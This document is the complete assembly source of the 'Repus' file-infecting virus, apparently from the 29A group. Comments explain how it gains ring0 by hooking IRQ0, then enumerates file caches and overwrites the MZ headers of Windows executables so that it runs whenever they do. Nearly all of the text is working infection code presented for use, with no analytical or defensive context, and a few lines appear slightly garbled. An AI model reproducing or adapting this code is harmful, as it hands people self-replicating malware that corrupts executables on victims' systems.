;=============;
; Repus virus ;
;=============;
;Coded by Super/29A
;VirusSize = 128 bytes !!!
;This is the third member of the Repus family
;-When an infected file is executed the virus patches IRQ0 handler and waits
; for it to return control to virus in ring0
;-Once in ring0, the virus searches in all caches a valid MZheader to infect,
; modifying EntryPoint (in PEheader) so virus can get control on execution
;-It will infect no more than one MZheader at a time per file system
;-MZheader will be overwritten, however windows executes it with no problems
; (tested under win95,win98,winNT and Win2K)
;-When executing a non infected file that imports APIs from an infected DLL,
; virus will get control on DLL inicialization and infect more MZheaders
;-------------------------------------------------------------------
.386p
.model flat,STDCALL
extrn ExitProcess : near
extrn MessageBoxA : near
;-------------------------------------------------------------------
VirusSize = (VirusEnd - VirusStart)
VCache_Enum macro
int 20h
dw 0009h
dw 048Bh
endm
;-------------------------------------------------------------------
.data
Title:
db 'Super/29A presents...',0
Text:
db 'Repus.'
db '0' + (VirusSize/100) mod 10
db '0' + (VirusSize/10) mod 10
db '0' + (VirusSize/1) mod 10
db 0
;-------------------------------------------------------------------
.code
;===================================================================
VirusStart:
db 'M' ; dec ebp
VirusEntryPoint:
db 'Z' ; pop edx
push edx
dec edx
jns JumpHost ; exit if we are running winNT
mov ebx,0C0001100h ; IRQ0 ring0 handler
mov dl,0C3h
xchg dl,[ebx] ; hook IRQ0 to get ring0
Wait_IRQ0:
cmp esp,edx
jb Wait_IRQ0
;Now we are in ring0
xchg dl,[ebx]
lea edx,[eax+(InfectCache-VirusEntryPoint)] ; EDX = infection routine
fld qword ptr [eax+(Next_FSD-VirusEntryPoint)] ; save VxD dinamic
call
Next_FSD:
VCache_Enum ; enumerate all caches
inc ah
jnz Next_FSD ; try next file system
call ebx ; return control to IRQ0 and return just after the CALL
;Now we are in ring3
JumpHost:
jmp HostEntryPoint ; return control to host
;-------------------------------------------------------------------
InfectCache:
xor dl,dl ; EDX = ImageBase
mov edi,[esi+10h] ; EDI = MZheader
movzx ecx,byte ptr [edi+3Ch]
cmp byte ptr [edi+ecx],'P' ; check for PEheader
jnz _ret
Offset3B:
and eax,00000080h ; EAX = 0
xchg esi,edx ; ESI = ImageBase
; EDX = Cache
Block Structure
cmpsb ; check for MZheader
jnz _ret
mov [esi-1+(Offset3BVirusStart)],ecx ; save offset of PEheader
fst qword ptr [esi-1+(Next_FSD-VirusStart)] ; restore VxD dinamic
call
inc eax ; EAX = 1
xchg eax,[edi-1+ecx+28h] ; set virus EntryPoint
sub eax,(JumpHostVirusStart)
jb _ret ; jump if its already infected
mov cl,(VirusSize-1)
rep movsb ; copy virus to MZheader
mov [edi+(JumpHostVirusEnd)],eax ; fix jump to host
;Here we are gonna find the pointer to the pending cache writes
mov ch,2
lea eax,[ecx-0Ch] ; EAX=1F4h ;-D
mov edi,[edx+0Ch] ; EDI = VRP (Volume Resource Pointer)
repnz scasd
jnz _ret ; not found :-(
; EDI = offset in VRP which contains PendingList pointer
cmp [edi],ecx ; check if there are other pending cache writes
ja _ret
cmp [edi+30h],ah ; only infect logical drives C,D,...
jbe _ret
;Now we are gonna insert this cache in the pending cache writes
or byte ptr [edx+32h],ah ; set dirty bit
mov [edx+1Ch],edx ; set PendingList->Next
mov [edx+20h],edx ; set PendingList->Previous
mov [edi],edx ; set PendingList pointer
_ret:
ret
db '29A'
VirusEnd:
;===================================================================
db 1000h dup(90h)
HostEntryPoint proc near
push 0
push offset Title
push offset Text
push 0
call MessageBoxA
push 0
call ExitProcess
HostEntryPoint endp
;===================================================================
ends
end VirusEntryPoint